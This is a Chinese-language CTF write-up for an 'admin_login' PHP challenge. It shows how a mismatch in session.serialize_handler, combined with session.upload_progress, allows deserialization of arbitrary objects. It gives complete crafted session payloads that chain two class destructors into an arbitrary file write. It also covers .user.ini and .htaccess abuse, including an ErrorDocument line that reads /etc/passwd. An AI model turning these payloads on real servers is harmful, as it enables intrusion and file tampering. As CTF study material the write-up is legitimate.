admin_login
附件在这里:链接: https://pan.baidu.com/s/1lr62ACkKYHzQA7Avg05zng?pwd=tug1 提取码: tug1 复制这段内容后打开百度网盘手机App,操作更方便哦
这道题给了源码,其中test_session.php很值得玩味
<?php include "class.php"; ini_set('session.serialize_handler','php_binary'); session_start(); ?>
考点非常明确了,利用session.serialize_handler在php.ini和文件中的不同,从而利用session反序列化造成任意类实例化
那么我们要解决的第一个问题,就是这里没有可控的session值,常用方法是利用session.upload_progress进行包含利用,详见利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
我们观察php.ini,会发现在默认配置的基础上,还有session.upload_progress.cleanup = Off,这也是出题人为了方便利用做的操作,不然就要条件竞争了。(话说本地调试的时候其实也可以这样)
所以,只需要上传文件,然后抓包,自定义PHPSESSID并且设置PHP_SESSION_UPLOAD_PROGRESS的POST参数,就能生成文件名可控并且部分内容可控的session文件了。
PS:如果本地调试没有生成session文件,可以试试更改session.save_path的值,这个值定义了session存储路径,默认存储在/tmp路径下,可以改成自定义的值。
PS2:建议在本地调试的时候打开设置display_errors = On,这样可以看到错误信息
下面一步,需要找到session反序列化的点。session_start()函数在被调用时会对session进行反序列化,官方文档是这么说的:
如果已经存在session就直接反序列化,没有已存在的session就创建一个,而test_session.php里面正好有这个函数,同时,test_session.php里面的session.serialize_handler正好与php.ini中的不同,利用点就找到了。
接下来,难点在于怎么利用handler的不同来造成任意类反序列化,详见详谈CTF中常出现的PHP反序列化漏洞 - FreeBuf网络安全行业门户
最简单的是反序列化时使用php,这样可以通过传入|来自定义key和value分隔位置,但是这里是在序列化的时候使用的php模式
扩展:对于serialize_handler=php和php_serialize来说,有一个特性:会忽略掉最后的多余字符(注意这个特性在php_binary里面是没有的,如果php_bianry的session最后有多余字符会直接出错并且清理session)
假设现在有这样一个class:
class UserLogin { public $username; public $password; public $isadmin; public function __construct($username, $password) { $this->username = $username; $this->password = $password; if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") { $this->isadmin = true; } else { $this->isadmin = false; } } public function __destruct() { if ($this->isadmin) { echo 1; global $isadmin; $isadmin = true; } } }
三种模式下,对于session中多余字符的处理,测试代码:
<?php include "class.php"; ini_set('session.serialize_handler','xxx'); //xxx is different session.serialize_handlers session_start(); $_SESSION['test']=new UserLogin("1","2"); $_SESSION['test2']=new UserLogin("3","4"); var_dump($_SESSION); ?>
下面用<>包含多余字符
php:
test|O:9:"UserLogin":3:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";s:7:"isadmin";b:0;}<}>test2|O:9:"UserLogin":3:{s:8:"username";s:1:"3";s:8:"password";s:1:"4";s:7:"isadmin";b:0;}<}>
结果:
中间的}作为键值的一部分,最后的}被删掉
php_serialize:
a:2:{s:4:"test";O:9:"UserLogin":3:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";s:7:"isadmin";b:0;}<}>s:5:"test2";O:9:"UserLogin":3:{s:8:"username";s:1:"3";s:8:"password";s:1:"4";s:7:"isadmin";b:0;}}<}>
结果:
中间的}不符合规定的格式,所以反序列化失败,如果去掉中间的},最后的}会被当做多余字符去掉,反序列化可以成功
php_binary:
[EOT]testO:9:"UserLogin":3:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";s:7:"isadmin";b:0;}[ENQ]test2O:9:"UserLogin":3:{s:8:"username";s:1:"3";s:8:"password";s:1:"4";s:7:"isadmin";b:0;}<}>
结果:
php_binary模式下,不会自动去掉最后的多余字符,直接报错。
而这里,反序列化点test_session.php里面采用的是php_binary,也就是说,我们必须处理掉多余字符。
先看看我们可控session文件的结构:
upload_progress_<value of PHP_SESSION_UPLOAD_PROGRESS>|a:5:{s:10:"start_time";i:1650708635;s:14:"content_length";i:1025;s:15:"bytes_processed";i:1025;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"temp.txt";s:8:"tmp_name";s:22:"C:\Windows\php4698.tmp";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1650708635;s:15:"bytes_processed";i:705;}}}
在php_binary模式下,第一个字符u会被解析成键名的长度,也就是117(10进制ASCII值)
pload_progress_共有15个字符,所以我们只需要在后面添加102个字符,就可以凑够键名的长度,然后自定义键值用来反序列化。
那么剩下的那一堆怎么办呢?可以通过传入一个新键名,让它的值是后面的a:5:{s:10:"start_time";i:1650708635;s:14:"content_length";i:1025;s:15:"bytes_processed";i:1025;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"temp.txt";s:8:"tmp_name";s:22:"C:\Windows\php4698.tmp";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1650708635;s:15:"bytes_processed";i:705;}}},这样就可以成功反序列化了。(注意,传入的键名长度应该比传入的键名要多一个,这样才能把|也处理掉)
我给一个例子:uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuaO:9:"UserLogin":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:7:"isadmin";b:1;}upload_progress_uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuc
到这里,我们已经实现了任意类反序列化,传入的结构是<115个字符><任意类序列化结果><键名长度字符><键名长度-1个字符>
那么接下来就是可利用类的寻找,这个很简单了,看class.php
<?php $isadmin = false; class UserLogin { public $username; public $password; public $isadmin; public function __construct($username, $password) { $this->username = $username; $this->password = $password; if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") { $this->isadmin = true; } else { $this->isadmin = false; } } public function __destruct() { if ($this->isadmin) { global $isadmin; $isadmin = true; } } } class UserUpfile { public $filename; public $data; public function setFileName($name) { $this->filename = $name; } public function setData($data) { $this->data = $data; } public function __destruct() { global $isadmin; if (!$isadmin || strpos($this->filename, '.p') !== false || strpos($this->filename, 'php:') !== false || !is_string($this->data) || strpos($this->data, '<') !== false || strpos($this->data, 'auto_') !== false || strpos($this->data, 'log') !== false) { die("no"); } else { file_put_contents($this->filename, $this->data); //利用点 } } }
用UserUpfile类的__destruct方法就可以了。
但是这里还有一个限制,要求$isadmin必须为真,否则就会直接die。那必须借助上面的UserLogin类,考虑定义一个isadmin属性为真的UserLogin类,让它在UserUpfile类之前执行__destruct方法,把全局的$isadmin变为1即可
注意,一定要是在同一个反序列化过程中反序列化两个类,不能分两次访问。因为每次访问都会重新include class.php,$isadmin会被重置为0
那怎么实现一次反序列化两个类呢?再回到我们实现任意类反序列化的结构:
<115个字符><任意类序列化结果><键名长度字符><键名长度-1个字符>
其实,这里的<任意类序列化结果>部分,完全还可以添加自定义键值对,这样就可以实现一次反序列化任意多个任意类
一个小细节,先定义的类先被destruct掉,然后这里的filename需要传入绝对路径,因为是外部调用。
所以,任意写入文件的payload:
uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuaO:9:"UserLogin":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:7:"isadmin";b:1;}upload_progress_uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuubO:10:"UserUpfile":2:{s:8:"filename";s:15:"<your-filename>";s:4:"data";s:19:"<your-file-content>";}upload_progress_uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuc
这样,就实现了任意写文件~
接下来是上传文件,一般思路也就几种,.php文件,.htaccess文件,.user.ini文件
.user.ini的利用条件如下:
1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件
利用:通常是auto_prepend_file和auto_append_file自动包含文件,同时这个属性还支持php伪协议
注意,user_ini.cache_ttl默认是5分钟,也就是说要等待5分钟.user.ini才能生效,如果觉得慢可以改成0
.htaccess利用条件:
1.Apache服务器
2.在php以Apache 2.0 Handler模式运行时,可以使用php_value来更改php.ini中的某些属性(同.user.ini)
利用:ErrorDocument支持file协议,可造成任意文件读,例:ErrorDocument 404 %{file:///etc/passwd}
改变php的Server API:
AddType application/x-httpd-php .php --Apache 2.0 Handler
<FilesMatch \.php$>
SetHandler "proxy:unix:/tmp/php-cgi-74.sock|fcgi://localhost"
</FilesMatch>
-- CGI/FastCGI模式
官方hint好像是说利用.user.ini,不过没想到利用方式...但是任意文件上传之后应该就很接近了
文章评论